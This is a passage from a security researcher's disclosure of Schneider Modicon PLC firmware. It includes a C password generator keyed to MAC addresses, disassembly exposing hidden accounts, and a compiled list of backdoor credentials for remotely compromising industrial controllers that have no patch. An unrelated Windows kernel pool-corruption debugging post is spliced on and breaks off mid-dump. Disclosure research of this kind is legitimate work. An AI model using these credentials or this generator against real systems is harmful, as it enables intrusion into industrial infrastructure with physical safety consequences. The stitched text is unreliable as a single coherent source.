    /* Ruben Santamarta @reversemode */
    
    #define ROTR32(x,n)   ( ((x) >> (n))  | ((x) << (32 - (n))) )
    
    int main (int argc, char *argv[])
    {
    
    unsigned long a1,a2;
    unsigned long pass;
    
    if(argc != 2 )
    {
    	printf("usage: pass_gen 0xMAC\n");
    	exit(0);
    }
    
    a1 = strtoul(argv[1],NULL,16);
    a2 = ROTR32(a1,7);
    a2 ^= a1;
    pass = ROTR32(a2,9); 
    
    printf("fwupgrade:%.8x\n",pass);
    
    }
    
[/code]

  
  
I've not tested this MAC-based password against a real system so if someone
can confirm it works please let me know. Moreover, by analizing
'**FTP\_User\_Add** ' we can find the hardcoded account we identified
previously in the scripts.  
  
ROM:0002A730 ROM:0002A730 loc\_2A730: \# CODE XREF: FTP\_User\_Add+48j
ROM:0002A730 lis %r9, \(\(aUser\_0+0x10000\)@h\) \# "USER" ROM:0002A734 addi
%r3, %r9, -0x5640 \# aUser\_0 ROM:0002A738 lis %r9,
\(\(aDeeczesse+0x10000\)@h\) \# "deeczeSSe" ROM:0002A73C addi %r4, %r9,
-0x52F0 \# aDeeczesse ROM:0002A740 bl loginUserAdd ROM:0002A744 ROM:0002A744
loc\_2A744: \# CODE XREF: FTP\_User\_Add+23Cj ROM:0002A744 lwz %r11,
0x50+var\_50\(%sp\)  
  
By examining the xrefs to '**taskSpawn** ' we can quickly discover more
functionalities, including the '**modbus\_125\_handler** ' function which is
in charge of updating the firmware via MODBUS 125 function code...we hadn't
mentioned yet that this device speaks modbus at port 502. So after all, you
don't even need valid credentials to compromise the device. Moreover, this
kind of handlers are a great source to discover how the firmware is formatted:
headers, checksum etc...  
  
_**Analizying NOE 100 Ethernet Module.**_  
  
NOE 100 is pretty much the same as NOE 771.  
  
<img src='img/Temp2_6928.png' />  
  
vxWorks\_noe100.bin is the firmware  
  
<img src='img/Temp2_6937.png' />  
  
Header + ARM VxWorks image. We're basically following the same previous steps
to _reconstruct_ it. In order to promptly find the address to rebase it I came
up with this trick, based on jump tables.  
  
1\. We search those jump tables with just few and 'tiny' cases  
  
ROM:0001A2F4 B locret\_1A30C ; jumptable 0001A2F0 default case ROM:0001A2F4 ;
---------------------------------------------------------------------------
ROM:0001A2F8 DCD 0x2002A49C ; jump table for switch statement ROM:0001A2F8 DCD
0x2002A4A4 ROM:0001A2F8 DCD 0x2002A494 ROM:0001A2F8 DCD 0x2002A490
ROM:0001A2F8 DCD 0x2002A4A4 ROM:0001A30C ;
---------------------------------------------------------------------------
ROM:0001A30C ROM:0001A30C locret\_1A30C ; CODE XREF: sub\_1A2D4+20j
ROM:0001A30C LDMFD SP, \{R4,R11,SP,PC\} ; jumptable 0001A2F0 default case
ROM:0001A30C ; End of function sub\_1A2D4 ROM:0001A30C ROM:0001A310 ;
---------------------------------------------------------------------------
ROM:0001A310 LDMFD SP, \{R4,R11,SP,LR\} ROM:0001A314 B sub\_19FF8 ROM:0001A318
; ---------------------------------------------------------------------------
ROM:0001A318 LDMFD SP, \{R4,R11,SP,LR\} ROM:0001A31C B sub\_1A1F0 ROM:0001A320
; ---------------------------------------------------------------------------
ROM:0001A320 MOV R1, \#0xE ROM:0001A324 BL sub\_158DC ROM:0001A328 MOV R0, R4
ROM:0001A32C BL sub\_18EE0 ROM:0001A330 ADD R3, R4, \#0x6B00 ROM:0001A334 ADD
R3, R3, \#0x94 ROM:0001A338 LDR R2, \[R3,\#8\] ROM:0001A33C MOV R1, \#0x6B00
ROM:0001A340 CMP R2, \#0 ROM:0001A344 ADD R1, R1, \#0x45 ROM:0001A348 MOVNE
R3, \#1 ROM:0001A34C MOV R0, R4 ROM:0001A350 STRNEB R3, \[R4,R1\] ROM:0001A354
LDMNEFD SP, \{R4,R11,SP,PC\} ROM:0001A358 BL sub\_1A1F0 ROM:0001A35C LDMFD SP,
\{R4,R11,SP,PC\}  
  
<img src='img/Temp2_6938.png' />  
  
The jump table is comprised of 5 addresses, then we look carefully the
distance between the cases, looking for one distance different from the
others, between the 4th and 3rd cases there is a difference of 4 bytes, so
taking into account that between the 3rd and 2nd one this difference is
greater we can connect the 4th case to its right piece of code. Therefore, in
order to find the base address we just have to do a substraction: 0x2002A490 -
0x0001A30C = **0x20010184** is the base address.  
  
After reconstructing the symbols \(using the same script we used above for the
NOE 771 \) we analyze the main functions  
  
ROM:2001E190 ROM:2001E190 ; =============== S U B R O U T I N E
======================================= ROM:2001E190 ROM:2001E190 ;
Attributes: bp-based frame ROM:2001E190 ROM:2001E190 usrRoot ; DATA XREF:
usrKernelInit+B4o ROM:2001E190 ; ROM:off\_2001CA24o ROM:2001E190 MOV R12, SP
ROM:2001E194 STMFD SP\!, \{R5,R6,R11,R12,LR,PC\} ROM:2001E198 SUB R11, R12,
\#4 ROM:2001E19C MOV R5, R0 ROM:2001E1A0 MOV R6, R1 ROM:2001E1A4 BL
usrKernelCoreInit ROM:2001E1A8 MOV R2, \#0xBB0 ROM:2001E1AC MOV R1, R6
ROM:2001E1B0 MOV R0, R5 ROM:2001E1B4 BL memInit ROM:2001E1B8 MOV R1, R6
ROM:2001E1BC MOV R0, R5 ROM:2001E1C0 BL memPartLibInit ROM:2001E1C4 BL
memInfoInit ROM:2001E1C8 BL usrSysctlInit ROM:2001E1CC MOV R1, R6 ROM:2001E1D0
MOV R0, R5 ROM:2001E1D4 BL usrMmuInit ROM:2001E1D8 BL usrTextProtect
ROM:2001E1DC BL edrSystemDebugModeInit ROM:2001E1E0 BL sysClkInit ROM:2001E1E4
BL mathSoftInit ROM:2001E1E8 BL setLibInit ROM:2001E1EC BL usrIosCoreInit
ROM:2001E1F0 BL usrKernelExtraInit ROM:2001E1F4 BL usrIosExtraInit
ROM:2001E1F8 BL sockLibInit ROM:2001E1FC BL usrNetworkInit ROM:2001E200 BL
selTaskDeleteHookAdd ROM:2001E204 BL cplusCtorsLink ROM:2001E208 BL
usrCplusLibInit ROM:2001E20C BL cplusDemanglerInit ROM:2001E210 BL
usrToolsInit ROM:2001E214 LDMFD SP, \{R5,R6,R11,SP,LR\} ROM:2001E218 B
usrAppInit ROM:2001E218 ; End of function usrRoot ROM:2001E218  
  
**usrRoot**  
  
ROM:2001E164 ROM:2001E164 ; Attributes: bp-based frame ROM:2001E164
ROM:2001E164 usrToolsInit ; CODE XREF: usrRoot+80p ROM:2001E164 MOV R12, SP
ROM:2001E168 STMFD SP\!, \{R11,R12,LR,PC\} ROM:2001E16C SUB R11, R12, \#4
ROM:2001E170 BL timexInit ROM:2001E174 BL usrLoaderInit ROM:2001E178 BL
usrSymTblInit ROM:2001E17C BL usrWdbInit ROM:2001E180 BL usrWindviewInit
ROM:2001E184 BL usrShowInit ROM:2001E188 LDMFD SP, \{R11,SP,LR\} ROM:2001E18C
B usrShellInit ROM:2001E18C ; End of function usrToolsInit ROM:2001E18C  
  
WDB is enabled.  
  
**usrNetworkInit**  
  
ROM:2001DAE0 ROM:2001DAE0 usrNetAppInit ; CODE XREF: usrNetworkInit+90p
ROM:2001DAE0 ROM:2001DAE0 var\_14 = -0x14 ROM:2001DAE0 ROM:2001DAE0 MOV R12,
SP ROM:2001DAE4 STMFD SP\!, \{R4,R11,R12,LR,PC\} ROM:2001DAE8 SUB R11, R12,
\#4 ROM:2001DAEC SUB SP, SP, \#4 ROM:2001DAF0 BL usrRemoteAccess ROM:2001DAF4
LDR R0, =shellParserControl ROM:2001DAF8 BL telnetdParserSet ROM:2001DAFC CMN
R0, \#1 ROM:2001DB00 BEQ loc\_2001DBF0 ROM:2001DB04 MOV R0, \#1 ROM:2001DB08
MOV R1, \#0 ROM:2001DB0C BL telnetdInit ROM:2001DB10 CMN R0, \#1 ROM:2001DB14
BEQ loc\_2001DBC8 ROM:2001DB18 MOV R0, \#0x17 ROM:2001DB1C BL telnetdStart
ROM:2001DB20 CMN R0, \#1 ROM:2001DB24 BEQ loc\_2001DBC8 ROM:2001DB28
ROM:2001DB28 loc\_2001DB28 ; CODE XREF: usrNetAppInit+F8j ROM:2001DB28 ;
usrNetAppInit+120j ROM:2001DB28 BL usrSecurity ROM:2001DB2C MOV R1, \#0
ROM:2001DB30 MOV R0, \#0x2EC0 ROM:2001DB34 MOV R12, \#0xA ROM:2001DB38 ADD R0,
R0, \#0x20 ROM:2001DB3C MOV R2, R1 ROM:2001DB40 MOV R3, R1 ROM:2001DB44 STR
R12, \[SP,\#0x14+var\_14\] ROM:2001DB48 BL tftpdInit ROM:2001DB4C CMN R0, \#1
ROM:2001DB50 BEQ loc\_2001DBDC ROM:2001DB54 LDR R0, =0x2028C588 ROM:2001DB58
BL strlen ROM:2001DB5C ADD R0, R0, \#1 ROM:2001DB60 BL malloc ROM:2001DB64
SUBS R4, R0, \#0 ROM:2001DB68 BEQ loc\_2001DB9C ROM:2001DB6C LDR R1,
=0x2028C588 ROM:2001DB70 BL strcpy ROM:2001DB74 MOV R0, R4 ROM:2001DB78 B
loc\_2001DB84 ROM:2001DB7C ;
---------------------------------------------------------------------------
ROM:2001DB7C ROM:2001DB7C loc\_2001DB7C ; CODE XREF: usrNetAppInit+B0j
ROM:2001DB7C BL tftpdDirectoryAdd ROM:2001DB80 MOV R0, \#0 ROM:2001DB84
ROM:2001DB84 loc\_2001DB84 ; CODE XREF: usrNetAppInit+98j ROM:2001DB84 LDR R1,
=0x2028C594 ROM:2001DB88 BL strtok ROM:2001DB8C CMP R0, \#0 ROM:2001DB90 BNE
loc\_2001DB7C ROM:2001DB94 MOV R0, R4 ROM:2001DB98 BL free ROM:2001DB9C
ROM:2001DB9C loc\_2001DB9C ; CODE XREF: usrNetAppInit+88j ROM:2001DB9C ;
usrNetAppInit+10Cj ROM:2001DB9C LDR R1, =loginUserVerify ROM:2001DBA0 MOV R2,
\#0 ROM:2001DBA4 LDR R0, =0x2028C598 ROM:2001DBA8 BL ftpd6Init ROM:2001DBAC BL
ftpd6EnableSecurity ROM:2001DBB0 BL ftpd6EnableSecurity ROM:2001DBB4 BL
usrFtpInit ROM:2001DBB8 BL usrSntpcInit ROM:2001DBBC BL pingLibInit
ROM:2001DBC0 LDMFD SP, \{R3,R4,R11,SP,LR\} ROM:2001DBC4 B usrSnmpCfgInit
ROM:2001DBC8 ;
---------------------------------------------------------------------------
ROM:2001DBC8 ROM:2001DBC8 loc\_2001DBC8 ; CODE XREF: usrNetAppInit+34j
ROM:2001DBC8 ; usrNetAppInit+44j ROM:2001DBC8 BL \_\_errno  
  
ROM:2001CB3C ROM:2001CB3C usrSecurity ; CODE XREF:
usrNetAppInit:loc\_2001DB28p ROM:2001CB3C MOV R12, SP ROM:2001CB40 STMFD SP\!,
\{R11,R12,LR,PC\} ROM:2001CB44 SUB R11, R12, \#4 ROM:2001CB48 BL loginInit
ROM:2001CB4C LDR R1, =0x2028C2DC ; RcQbRbzRyc ROM:2001CB50 LDR R0, =0x2028C2E8
; target ROM:2001CB54 BL loginUserAdd ROM:2001CB58 LDR R3, =0x2038E774
ROM:2001CB5C LDR R1, \[R3\] ROM:2001CB60 ANDS R1, R1, \#0x20 ROM:2001CB64 LDR
R0, =loginPrompt2 ROM:2001CB68 LDMNEFD SP, \{R11,SP,PC\} ROM:2001CB6C LDMFD
SP, \{R11,SP,LR\} ROM:2001CB70 B shellLoginInstall ROM:2001CB70 ; End of
function usrSecurity ROM:2001CB70 ROM:2001CB70  
  
Another hardcoded credential-> target:RcQbRbzRyc  
  
Via XRefs to '**loginUserAdd** '  
  
**ethernetinit**  
  
ROM:200701B8 ROM:200701B8 loc\_200701B8 ; CODE XREF: ethernetInit+128j
ROM:200701B8 LDR R1, =0x203C572A ROM:200701BC LDR R0, =aTestingpw ;
"testingpw" ROM:200701C0 BL loginDefaultEncrypt ROM:200701C4 LDR R1,
=0x203C572A ROM:200701C8 LDR R0, =aTest ; "test" ROM:200701CC BL loginUserAdd
ROM:200701D0 LDR R1, =0x2038DBB8 ROM:200701D4 LDR R0, =aFwdownload ;
"fwdownload" ROM:200701D8 BL loginDefaultEncrypt ROM:200701DC LDR R1,
=0x2038DBB8 ROM:200701E0 LDR R0, =aLoader ; "loader" ROM:200701E4 BL
loginUserAdd ROM:200701E8 LDR R1, =0x203948C0 ROM:200701EC LDR R0, =aWebpages
; "webpages" ROM:200701F0 BL loginDefaultEncrypt ROM:200701F4 LDR R1,
=0x203948C0 ROM:200701F8 LDR R0, =aWebserver ; "webserver" ROM:200701FC BL
loginUserAdd ROM:20070200 LDR R1, =0x203C5B78 ROM:20070204 LDR R0,
=aFactorycastSch ; "factorycast@schneider" ROM:20070208 BL loginDefaultEncrypt
ROM:2007020C LDR R1, =0x203C5B78 ROM:20070210 LDR R0, =aSysdiag ; "sysdiag"
ROM:20070214 BL loginUserAdd ROM:20070218 LDR R1, =0x2038D4CC ROM:2007021C LDR
R0, =aNtpupdate ; "ntpupdate" ROM:20070220 BL loginDefaultEncrypt ROM:20070224
LDR R1, =0x2038D4CC ROM:20070228 LDR R0, =aNtpupdate ; "ntpupdate"
ROM:2007022C BL loginUserAdd ROM:20070230 LDR R1, =0x2039096C ROM:20070234 LDR
R0, =aPcfactory ; "pcfactory" ROM:20070238 BL loginDefaultEncrypt ROM:2007023C
LDR R1, =0x2039096C ROM:20070240 LDR R0, =aPcfactory ; "pcfactory"
ROM:20070244 BL loginUserAdd  
  
More hardcoded credentials in plain text: USER:USERUSER  
  
ROM:200679BC ROM:200679BC ftpAddWebUserPw ; CODE XREF:
EthernetManager::initialize\(void\):loc\_20029A10p ROM:200679BC MOV R12, SP
ROM:200679C0 STMFD SP\!, \{R11,R12,LR,PC\} ROM:200679C4 LDR R1, =0x2037CA05
ROM:200679C8 SUB R11, R12, \#4 ROM:200679CC LDR R0, =0x2037C9B4 ROM:200679D0
BL ftpGetWebUserPw ROM:200679D4 CMN R0, \#1 ROM:200679D8 LDR R1,
=\(aUseruser+4\) ROM:200679DC LDR R0, =0x2037C9B4 ROM:200679E0 BEQ
loc\_20067A00 ROM:200679E4 ROM:200679E4 loc\_200679E4 ; CODE XREF:
ftpAddWebUserPw+54j ROM:200679E4 LDR R1, =0x2037CA05 ROM:200679E8 LDR R0,
=0x2037C9B4 ROM:200679EC BL loginUserAdd ROM:200679F0 LDR R0, =0x2037C9B4
ROM:200679F4 LDR R1, =aSdcaWeb ; "/SDCA/WEB" ROM:200679F8 LDMFD SP,
\{R11,SP,LR\} ROM:200679FC B ftpPathAccessRegister ROM:20067A00 ;
---------------------------------------------------------------------------
ROM:20067A00 ROM:20067A00 loc\_20067A00 ; CODE XREF: ftpAddWebUserPw+24j
ROM:20067A00 BL strcpy ROM:20067A04 LDR R1, =0x2037CA05 ROM:20067A08 LDR R0,
=aUseruser ; "USERUSER" ROM:20067A0C BL loginDefaultEncrypt ROM:20067A10 B
loc\_200679E4 ROM:20067A10 ; End of function ftpAddWebUserPw ROM:20067A10
ROM:20067A10 ;
---------------------------------------------------------------------------  
  
**MODBUS 125 dispatcher to ModbusFC125::process125Command handler**  
  
ROM:20044830 ROM:20044830 ; ModbusFC125::processModbusMessage\(MBAPMSG \*, int
\*\) ROM:20044830 \_ZN11ModbusFC12520processModbusMessageEP7MBAPMSGPi
ROM:20044830 ; CODE XREF: g\_processModbusMessage:loc\_200448D8p ROM:20044830
MOV R12, SP ROM:20044834 STMFD SP\!, \{R4,R5,R11,R12,LR,PC\} ROM:20044838 SUB
R11, R12, \#4 ROM:2004483C MOV R5, R2 ROM:20044840 MOV R4, R1 ROM:20044844 MOV
R3, R1 ROM:20044848 MOV R2, \#1 ROM:2004484C LDRB R12, \[R1,\#7\] ROM:20044850
CMP R12, \#0x7D ; '\}' ROM:20044854 BEQ loc\_20044884 ROM:20044858 MOV R1, R12
ROM:2004485C BL \_ZN11ModbusFC1259MbusErrorEhhP7MBAPMSG ;
ModbusFC125::MbusError\(uchar,uchar,MBAPMSG \*\) ROM:20044860 ROM:20044860
loc\_20044860 ; CODE XREF: ModbusFC125::processModbusMessage\(MBAPMSG \*,int
\*\)+58j ROM:20044860 ADD R0, R0, \#1 ROM:20044864 AND R3, R0, \#0xFF00
ROM:20044868 MOV R3, R3,ASR\#8 ROM:2004486C AND R2, R0, \#0xFF ROM:20044870
ORR R3, R3, R2,LSL\#8 ROM:20044874 ADD R1, R0, \#6 ROM:20044878 STRH R3,
\[R4,\#4\] ROM:2004487C STR R1, \[R5\] ROM:20044880 LDMFD SP,
\{R4,R5,R11,SP,PC\} ROM:20044884 ;
---------------------------------------------------------------------------
ROM:20044884 ROM:20044884 loc\_20044884 ; CODE XREF:
ModbusFC125::processModbusMessage\(MBAPMSG \*,int \*\)+24j ROM:20044884 BL
\_ZN11ModbusFC12517process125CommandEP7MBAPMSG ;
ModbusFC125::process125Command\(MBAPMSG \*\) ROM:20044888 B loc\_20044860
ROM:20044888 ; End of function ModbusFC125::processModbusMessage\(MBAPMSG
\*,int \*\) ROM:20044888  
  
Just an example, to inject our own code we could use external modules. In fact
this is how the webserver is implemented, as a separate module loaded at
runtime: 'webserver.out'  
  
; Attributes: bp-based frame ROM:200BA7BC ROM:200BA7BC http\_init ; CODE XREF:
HttpTask:loc\_200BA9B8p ROM:200BA7BC ROM:200BA7BC var\_50 = -0x50 ROM:200BA7BC
var\_4C = -0x4C ROM:200BA7BC var\_48 = -0x48 ROM:200BA7BC var\_44 = -0x44
ROM:200BA7BC var\_40 = -0x40 ROM:200BA7BC var\_3C = -0x3C ROM:200BA7BC var\_38
= -0x38 ROM:200BA7BC var\_34 = -0x34 ROM:200BA7BC var\_30 = -0x30 ROM:200BA7BC
var\_2C = -0x2C ROM:200BA7BC var\_28 = -0x28 ROM:200BA7BC var\_24 = -0x24
ROM:200BA7BC var\_1D = -0x1D ROM:200BA7BC ROM:200BA7BC MOV R12, SP
ROM:200BA7C0 STMFD SP\!, \{R4-R7,R11,R12,LR,PC\} ROM:200BA7C4 SUB R11, R12,
\#4 ROM:200BA7C8 LDR R6, =0x203804F8 ROM:200BA7CC SUB SP, SP, \#0x34
ROM:200BA7D0 LDR R3, \[R6\] ROM:200BA7D4 ANDS R5, R3, \#1 ROM:200BA7D8 BEQ
loc\_200BA7E4 ROM:200BA7DC ROM:200BA7DC loc\_200BA7DC ; CODE XREF:
http\_init+104j ROM:200BA7DC ; http\_init+124j ... ROM:200BA7DC SUB SP, R11,
\#0x1C ROM:200BA7E0 LDMFD SP, \{R4-R7,R11,SP,PC\} ROM:200BA7E4 ;
---------------------------------------------------------------------------
ROM:200BA7E4 ROM:200BA7E4 loc\_200BA7E4 ; CODE XREF: http\_init+1Cj
ROM:200BA7E4 LDR R1, =aSdcaWeb\_0 ; "/SDCA/Web/" ROM:200BA7E8 LDR R0,
=0x203C5970 ROM:200BA7EC BL strcpy ROM:200BA7F0 LDR R0, =HttpServerFile ;
"/SDCA/Firmware/WebServer.out" ROM:200BA7F4 MOV R1, R5 ROM:200BA7F8 MOV R2, R5
ROM:200BA7FC BL open ROM:200BA800 CMN R0, \#1 ROM:200BA804 MOV R4, R0
ROM:200BA808 BEQ loc\_200BA8E4 ROM:200BA80C MOV R1, \#0xC ROM:200BA810 BL
loadModule ROM:200BA814 CMP R0, \#0 ROM:200BA818 BEQ loc\_200BA8C4
ROM:200BA81C LDR R7, =0x203945EC ROM:200BA820 MOV R0, R4 ROM:200BA824 BL close
ROM:200BA828 LDR R0, \[R7\] ROM:200BA82C LDR R1, =HttpServerEntry ;
"websvxmain" ROM:200BA830 SUB R2, R11, \#-var\_24 ROM:200BA834 SUB R3, R11,
\#-var\_1D ROM:200BA838 BL symFindByName ROM:200BA83C CMN R0, \#1 ROM:200BA840
BEQ loc\_200BA904 ROM:200BA844 LDR R3, =HttpServerPrio ROM:200BA848 LDR R2,
=HttpServerStack ROM:200BA84C LDR R12, \[R11,\#var\_24\] ROM:200BA850 LDR R1,
\[R3\] ROM:200BA854 LDR R0, =aThttpd ; "tHttpd" ROM:200BA858 LDR R3, \[R2\]
ROM:200BA85C MOV R2, R5 ROM:200BA860 STR R12, \[SP,\#0x50+var\_50\]
ROM:200BA864 LDR R4, =0x203804FC ROM:200BA868 STR R5, \[SP,\#0x50+var\_4C\]
ROM:200BA86C STR R5, \[SP,\#0x50+var\_48\] ROM:200BA870 STR R5,
\[SP,\#0x50+var\_44\] ROM:200BA874 STR R5, \[SP,\#0x50+var\_40\] ROM:200BA878
STR R5, \[SP,\#0x50+var\_3C\] ROM:200BA87C STR R5, \[SP,\#0x50+var\_38\]
ROM:200BA880 STR R5, \[SP,\#0x50+var\_34\] ROM:200BA884 STR R5,
\[SP,\#0x50+var\_30\] ROM:200BA888 STR R5, \[SP,\#0x50+var\_2C\] ROM:200BA88C
STR R5, \[SP,\#0x50+var\_28\] ROM:200BA890 BL taskSpawn  
  
So, why do all those hidden accounts exist? A good question.  
  
-Generating a password by deriving it from the MAC address makes sense as a method to gain access even if the original password has been lost. Technically, these accounts are backdoors though.   
  
-Most of them are used by configuration/\(internal?\)support software. For example, the hidden account 'loader:fwdownload' can be found inside Unity Loader.   
  
-In fact we can find more hidden accounts by reversing this kind of software. i.e Hidden account for Schneider Advantys STB devices by reversing the software used to upgrade the firmware.  
  
**Schneider Advantys STB modules -
nip2311\_upgrade\_\[fw\]\_v3.01.00\_\[web\]\_v2.01.00.exe**  
  
.text:00403579 .text:00403579 loc\_403579: ; CODE XREF: sub\_403546+22j
.text:00403579 cmp dword\_4134EC, 1 .text:00403580 jnz short loc\_4035A7
.text:00403582 push dword ptr \[edi\] ; int .text:00403584 push offset
aFcsdfcsd ; "fcsdfcsd" .text:00403589 push offset aNip2212 ; "nip2212"
.text:0040358E call \_FtpLogin .text:00403593 add esp, 0Ch .text:00403596 mov
ebx, eax .text:00403598 test eax, eax .text:0040359A jnz loc\_403623
.text:004035A0 mov esi, 1 .text:004035A5 jmp short loc\_403623 .text:004035A7
; ---------------------------------------------------------------------------
.text:004035A7 .text:004035A7 loc\_4035A7: ; CODE XREF: sub\_403546+3Aj
.text:004035A7 cmp dword\_4134E4, 1 .text:004035AE jnz short loc\_4035D1
.text:004035B0 push dword ptr \[edi\] ; int .text:004035B2 push offset
aQwertyqwerty ; "qwertyqwerty" .text:004035B7 push \(offset
a00kernel0011ex+0AAh\) ; s .text:004035BC call \_FtpLogin .text:004035C1 add
esp, 0Ch .text:004035C4 mov ebx, eax .text:004035C6 test eax, eax
.text:004035C8 jnz short loc\_403623 .text:004035CA mov esi, 1 .text:004035CF
jmp short loc\_403623 .text:004035D1 ;
---------------------------------------------------------------------------
.text:004035D1 .text:004035D1 loc\_4035D1: ; CODE XREF: sub\_403546+68j
.text:004035D1 cmp dword\_4134E8, 1 .text:004035D8 jnz short loc\_4035FB
.text:004035DA push dword ptr \[edi\] ; int .text:004035DC push offset
aPoiuypoiuy ; "poiuypoiuy" .text:004035E1 push offset aNic2212 ; "nic2212"
.text:004035E6 call \_FtpLogin .text:004035EB add esp, 0Ch .text:004035EE mov
ebx, eax .text:004035F0 test eax, eax .text:004035F2 jnz short loc\_403623
.text:004035F4 mov esi, 1 .text:004035F9 jmp short loc\_403623 .text:004035FB
; ---------------------------------------------------------------------------
.text:004035FB .text:004035FB loc\_4035FB: ; CODE XREF: sub\_403546+92j
.text:004035FB cmp dword\_4134F0, 1 .text:00403602 jnz short loc\_403623
.text:00403604 push dword ptr \[edi\] ; int .text:00403606 push offset
aPcfactory ; "pcfactory" .text:0040360B push offset aPcfactory\_0 ;
"pcfactory" .text:00403610 call \_FtpLogin .text:00403615 add esp, 0Ch
.text:00403618 mov ebx, eax .text:0040361A test eax, eax .text:0040361C jnz
short loc\_403623 .text:0040361E mov esi, 1  
  
Well, enough. We could be writing long time about all the interesting things
you can find inside one of these firmwares but hey\! now you have all the
needed info to do so :\)  
  
**_Summing up_**  
  
\- In order to fully understand the PLC/Eth module, backplane and other
protocols \(i.e Unity's UMAS\) we can reverse engineer the firmware, the java
classes and vendor's software like Unity Loader.  
\- You can remotely compromise Modicon PLCs exposed via NOE Ethernet modules
through ftp, telnet, modbus, WDB, snmp, web... by using the backdoor
credentials exposed or even without using them.  
\- You can load your own trojanized firmware.  
\- There are non-documented hidden accounts that can be used to compromise a
PLC.  
\- There are non-documented functionality with security implications.  
\- There is no solution other than redesigning these devices, which obviously
is not feasible in the short/middle term so mitigations are needed and
expected.  
\- There is no patch available at this moment.  
  
Devices affected: Schneider Modicon Quantum, M340, TSX and Advantys STB.  
  
_**Backdoor accounts compilation**_  

[code]

    pcfactory:pcfactory	                 (hidden)
    loader:fwdownload	                 (hidden)
    ntpupdate:ntpupdate	         (documented)
    sysdiag:factorycast@schneider	 (documented)
    test:testingpw	                         (hidden)
    USER:USER		                 (documented)
    USER:USERUSER                         (hidden)
    webserver:webpages	                 (hidden)
    fdrusers:sresurdf	                 (hidden)
    nic2212:poiuypoiuy                   (hidden)
    nimrohs2212:qwertyqwerty       (hidden)
    nip2212:fcsdfcsd                       (hidden)
    ftpuser:ftpuser                          (hidden)
    noe77111_v500:RcSyyebczS      (hidden) (password hashed)
    AUTCSE:RybQRceeSd                 (hidden) (password hashed)
    AUT_CSE:cQdd9debez               (hidden) (password hashed)
    target:RcQbRbzRyc                   (hidden) (password hasshed)
    
[/code]

  
  
Despite I'm releasing this information when there is still no patch available
I reported it to the ICS-CERT months ago so I would like to thank the ICS-CERT
and the Schneider security team, they have taken these issues very seriously
and are working on a patch. However, time ago I decided to change my
disclosure policy.  
  
I would like to mention that other security researchers I talked to about this
issue had found these hidden account as well, so kudos to K. Reid Wightman
@ReverseICS and Jaime Blasco  @jaimeblascob .  
  
Welcome to the 90s.

# Stop 0x19 in a Large Pool Allocation - Ntdebugging Blog - Site Home - MSDN
Blogs

**Created:**| _1/31/2012 7:28:05 PM_  
---|---  
**Updated:**| _1/31/2012 7:28:20 PM_  
**Author:**| __  
**Tags:**| _Debugging windows environment_  
  

### Stop 0x19 in a Large Pool Allocation

ntdebug

27 Jan 2012 1:04 PM

  * 1

Hello all, Scott Olson here again to share another interesting issue I
recently debugged with pool corruption and found that using special pool does
not work with large pool allocations \(pool allocations greater than a
PAGE\_SIZE\).

Here is an example of a valid large page allocation. Notice the size is 0x1fb0
and a PAGE\_SIZE is 0x1000 or 4kb.

0: kd> \!pool fffffa80\`0dba6fa0

Pool page fffffa800dba6fa0 region is Nonpaged pool

\*fffffa800dba5000 : large page allocation, Tag is Io , size is 0x1fb0 bytes

Pooltag Io : general IO allocations, Binary : nt\!io

In Windows 7, at the end of the large pool allocation it will have an
allocation tag of “Frag” then a “Free” tag with the rest of the page size and
is stored on the free pool list for allocation less than a page in size.

0: kd> dc fffffa800dba5000 fffffa800dba5000+0x1fb0-4

fffffa80\`0dba5000 00558001 32373242 00000000 00000000 ..U.B272........

fffffa80\`0dba5010 55555555 55555555 98764321 01b75f55 UUUUUUUU\!Cv.U\_..

fffffa80\`0dba5020 00000001 00000001 704e6ff0 fffff981 .........oNp....

…<cut>

fffffa80\`0dba6f80 55555555 55555555 55555555 55555555 UUUUUUUUUUUUUUUU

fffffa80\`0dba6f90 55555555 55555555 55555555 55555555 UUUUUUUUUUUUUUUU

fffffa80\`0dba6fa0 55555555 55555555 00001fb0 00000000 UUUUUUUU........

0: kd> dc

fffffa80\`0dba6fb0 02010100 67617246 55555555 55555555 ....FragUUUUUUUU

fffffa80\`0dba6fc0 00040101 65657246 55555555 55555555 ....FreeUUUUUUUU

fffffa80\`0dba6fd0 00802170 fffff880 0e49cf70 fffffa80 p\!......p.I.....

fffffa80\`0dba6fe0 15cc8fe8 fffff981 3b9c50a7 00000005 .........P.;....

  
Displayed with the \!pool command:  
  

0: kd> \!pool fffffa80\`0dba6fb0

Pool page fffffa800dba6fb0 region is Nonpaged pool

\*fffffa800dba6fb0 size: 10 previous size: 0 \(Allocated\) \*Frag

Owning component : Unknown \(update pooltag.txt\)

fffffa800dba6fc0 size: 40 previous size: 10 \(Free\) Free

The example above demonstrates how this normally works. The downside to this
architecture is that if a driver were to overrun its pool allocation then
special pool would not be useful because the large pool allocation has to be
page-aligned. Special pool detects pool overruns by putting the data at the
end of the page, which would not be feasible with a large pool allocation.

In Windows 7 there is a check while freeing the pool memory that will
determine if this allocation had written past the end of its allocation, and
if so will bug check the machine with a Stop 0x19 BAD\_POOL\_HEADER with the
first parameter being a 0x21. Here is the definition along with what each
parameter means:

BAD\_POOL\_HEADER \(19\)

The pool is already corrupt at the time of the current request.

This may or may not be due to the caller.

The internal pool links must be walked to figure out a possible cause of

the problem, and then special pool applied to the suspect tags or the driver

verifier to a suspect driver.

Arguments:

Arg1: 0000000000000021, the data following the pool block being freed is
corrupt. Typically this means the consumer \(call stack \) has overrun the
block.

Arg2: fffffa800dc57000, The pool pointer being freed.

Arg3: 0000000000002180, The number of bytes allocated for the pool block.

Arg4: 006b0072006f0077, The corrupted value found following the pool block.

Here is an example of what this corruption looks like compared to the above
valid large pool allocation:  
  

0: kd> \!pool fffffa800dc57000

Pool page fffffa800dc57000 region is Nonpaged pool

fffffa800dc57000 is not a valid large pool allocation, checking large session
pool...

fffffa800dc57000 is freed \(or corrupt\) pool

Bad allocation size @fffffa800dc57000, zero is invalid

\*\*\*

\*\*\* An error \(or corruption\) in the pool was detected;

\*\*\* Attempting to diagnose the problem.

\*\*\*

\*\*\* Use \!poolval fffffa800dc57000 for more details.

Pool page \[ fffffa800dc57000 \] is \_\_inVALID.

Analyzing linked list...

\[ fffffa800dc57000 \]: invalid previous size \[ 0x38 \] should be \[ 0x0 \]

Scanning for single bit errors...

None found

Next, I dump the allocation from the start to the end. Notice the size of the
allocation is stored in the bugcheck code as argument 3.

0: kd> dc fffffa800dc57000 fffffa800dc57000+2180-4

fffffa80\`0dc57000 00000038 0000000e 00000000 00000000 8...............

